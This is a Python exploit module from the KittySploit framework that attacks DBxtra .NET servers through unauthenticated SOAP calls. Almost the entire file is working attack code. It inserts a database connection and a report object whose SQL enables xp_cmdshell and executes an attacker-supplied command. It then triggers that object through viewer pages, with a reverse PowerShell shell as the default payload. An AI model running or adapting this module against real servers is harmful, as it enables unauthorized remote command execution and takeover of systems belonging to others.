DBxtra .NET unauthenticated SOAP xp_cmdshell RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DBxtra .NET unauthenticated SOAP xp_cmdshell RCE."""

from __future__ import annotations

import random
import re
import string

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "DBxtra .NET unauthenticated SOAP xp_cmdshell RCE",
        "description": (
            "Unauthenticated DBxtraService.asmx chains ProjectConnectionInsertDB, "
            "ProjectObjectInsertDB (xp_cmdshell SQL), UpdateDatabaseVersion, and "
            "DataGrid.aspx viewer execution."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/reverse_powershell",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["dbxtra", "soap", "sqli", "rce", "unauth"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/dbxtra_soap_xpcmdshell_rce_detect"],
            },
        },
    }

    _NS = "http://tempuri.org/"
    _ENC_CNNSTR = (
        "grmbvjOnZoFVz5qzbT7VmmDGDNwBoXyT8ieC0deWd5zomlcV4T/cJwXoxi2MmjyB"
        "h+7OoI2zps0vmkjX9umHNUQH8Rz6iP33NfBxiHUp/qbEZD/KZrsOrs3RxYfLOSFX"
        "UeKRnoYTz50Fnwkmi/xU1LYI6KU4kqh6DTRIgvC1/HomDspsu9IIPruFTSE6AkJU"
        "6q+lEhDiJnUlKlargAHKQWFBWa9s7Nu9"
    )

    port = OptPort(8765, "DBxtra HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)

    @staticmethod
    def _xml_escape(value: str) -> str:
        return (
            value.replace("&", "&")
            .replace("<", "&lt;")
            .replace(">", "&gt;")
            .replace('"', "&quot;")
        )

    def _soap(self, method: str, params_xml: str) -> tuple[int, str]:
        body = (
            '<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">'
            "<soap:Body>"
            f'<{method} xmlns="{self._NS}">{params_xml}</{method}>'
            "</soap:Body></soap:Envelope>"
        )
        resp = self.http_request(
            "POST",
            "/DBxtraService.asmx",
            data=body.encode("utf-8"),
            headers={
                "Content-Type": "text/xml; charset=utf-8",
                "SOAPAction": f'"{self._NS}{method}"',
            },
            timeout=90,
        )
        if not resp:
            return -1, ""
        return int(resp.status_code or 0), resp.text or ""

    @staticmethod
    def _extract_int(body: str, tag: str) -> int | None:
        m = re.search(rf"<{tag}Result>(-?\d+)</{tag}Result>", body) or re.search(
            rf"<{tag}>(-?\d+)</{tag}>", body
        )
        return int(m.group(1)) if m else None

    @staticmethod
    def _extract_all_int(body: str, tag: str) -> list[int]:
        return [int(x) for x in re.findall(rf"<{tag}>(\d+)</{tag}>", body)]

    def execute(self, cmd: str) -> str:
        suffix = "".join(random.choice(string.ascii_lowercase) for _ in range(6))
        obj_name = f"rce_obj_{suffix}"
        cnn_name = f"rce_cnn_{suffix}"
        log: list[str] = []

        st, body = self._soap(
            "GetProjects",
            "<ProjectId>0</ProjectId><IncludeArchived>false</IncludeArchived>",
        )
        pids = self._extract_all_int(body, "ProjectID") or self._extract_all_int(body, "ProjectId")
        if not pids:
            return f"GetProjects failed HTTP {st}"
        pid = pids[0]
        log.append(f"project={pid}")

        params = (
            f"<CnnName>{cnn_name}</CnnName><ProjectId>{pid}</ProjectId>"
            f"<DatabaseName>master</DatabaseName><ServerName>localhost\\SQLEXPRESS</ServerName>"
            f"<IntegratedSecurity>true</IntegratedSecurity><ProviderName>SQL Server</ProviderName>"
            f"<ConnectionString>{self._xml_escape(self._ENC_CNNSTR)}</ConnectionString>"
            f"<Timeout>30</Timeout><Port>1433</Port><UseSSL>false</UseSSL><IsFileDSN>false</IsFileDSN>"
        )
        st, body = self._soap("ProjectConnectionInsertDB", params)
        log.append(f"ProjectConnectionInsertDB HTTP {st} ret={self._extract_int(body, 'ProjectConnectionInsertDB')}")

        st, body = self._soap(
            "GetProjectConnectionsOf",
            f"<ProjectId>{pid}</ProjectId><Filter>ALL</Filter><IncludeArchived>false</IncludeArchived>",
        )
        cnn_ids = self._extract_all_int(body, "CnnId") or self._extract_all_int(body, "CnnID")
        if not cnn_ids:
            return "\n".join(log) + "\nno CnnId"
        cnn_id = max(cnn_ids)

        sql = self._xml_escape(
            "EXEC sp_configure 'show advanced options',1;RECONFIGURE;"
            "EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;"
            f"EXEC xp_cmdshell '{cmd.replace(chr(39), chr(39)+chr(39))}'"
        )
        params = (
            f"<ObjectName>{obj_name}</ObjectName><ObjectType>0</ObjectType>"
            f"<ProjectId>{pid}</ProjectId><SQLText>{sql}</SQLText><CnnId>{cnn_id}</CnnId>"
            f"<AnonymousAccess>true</AnonymousAccess><IsPublic>false</IsPublic>"
            f"<ObjectId>0</ObjectId><ParentId>0</ParentId><SortOrder>0</SortOrder>"
        )
        st, body = self._soap("ProjectObjectInsertDB", params)
        ret = self._extract_int(body, "ProjectObjectInsertDB")
        oid = ret if ret and ret > 1 else None
        if not oid:
            st, body = self._soap(
                "GetObjectByName",
                f"<ProjectId>{pid}</ProjectId><ObjectType>0</ObjectType>"
                f"<ObjectName>{obj_name}</ObjectName><IncludeArchived>false</IncludeArchived>",
            )
            oids = self._extract_all_int(body, "ObjectId")
            oid = oids[0] if oids else None
        if not oid:
            return "\n".join(log) + "\nobject id missing"

        st, body = self._soap("UpdateDatabaseVersion", "<Version>13110</Version>")
        log.append(f"UpdateDatabaseVersion HTTP {st}")

        for path in (
            f"/DataGrid.aspx?Id={oid}",
            f"/ObjectView.aspx?ID={oid}",
            f"/Report_View.aspx?ID={oid}",
        ):
            resp = self.http_request("GET", path, timeout=90, allow_redirects=False)
            code = int(getattr(resp, "status_code", 0) or 0) if resp else 0
            log.append(f"trigger {path} -> HTTP {code}")

        return "\n".join(log)

    def check(self):
        st, _ = self._soap("GetProjects", "<ProjectId>0</ProjectId><IncludeArchived>false</IncludeArchived>")
        if st == 200:
            return {
                "vulnerable": True,
                "reason": "DBxtraService.asmx accepts unauthenticated SOAP",
                "confidence": "medium",
            }
        return {"vulnerable": False, "reason": f"SOAP probe HTTP {st}", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not vulnerable"))
            self.not_vulnerable()
            return False

        print_status("Running DBxtra SOAP xp_cmdshell chain")
        print_info(self.execute(shell)[:8000])
        print_success("Chain complete — verify proof file or catch reverse shell")
        self.vulnerable()
        return True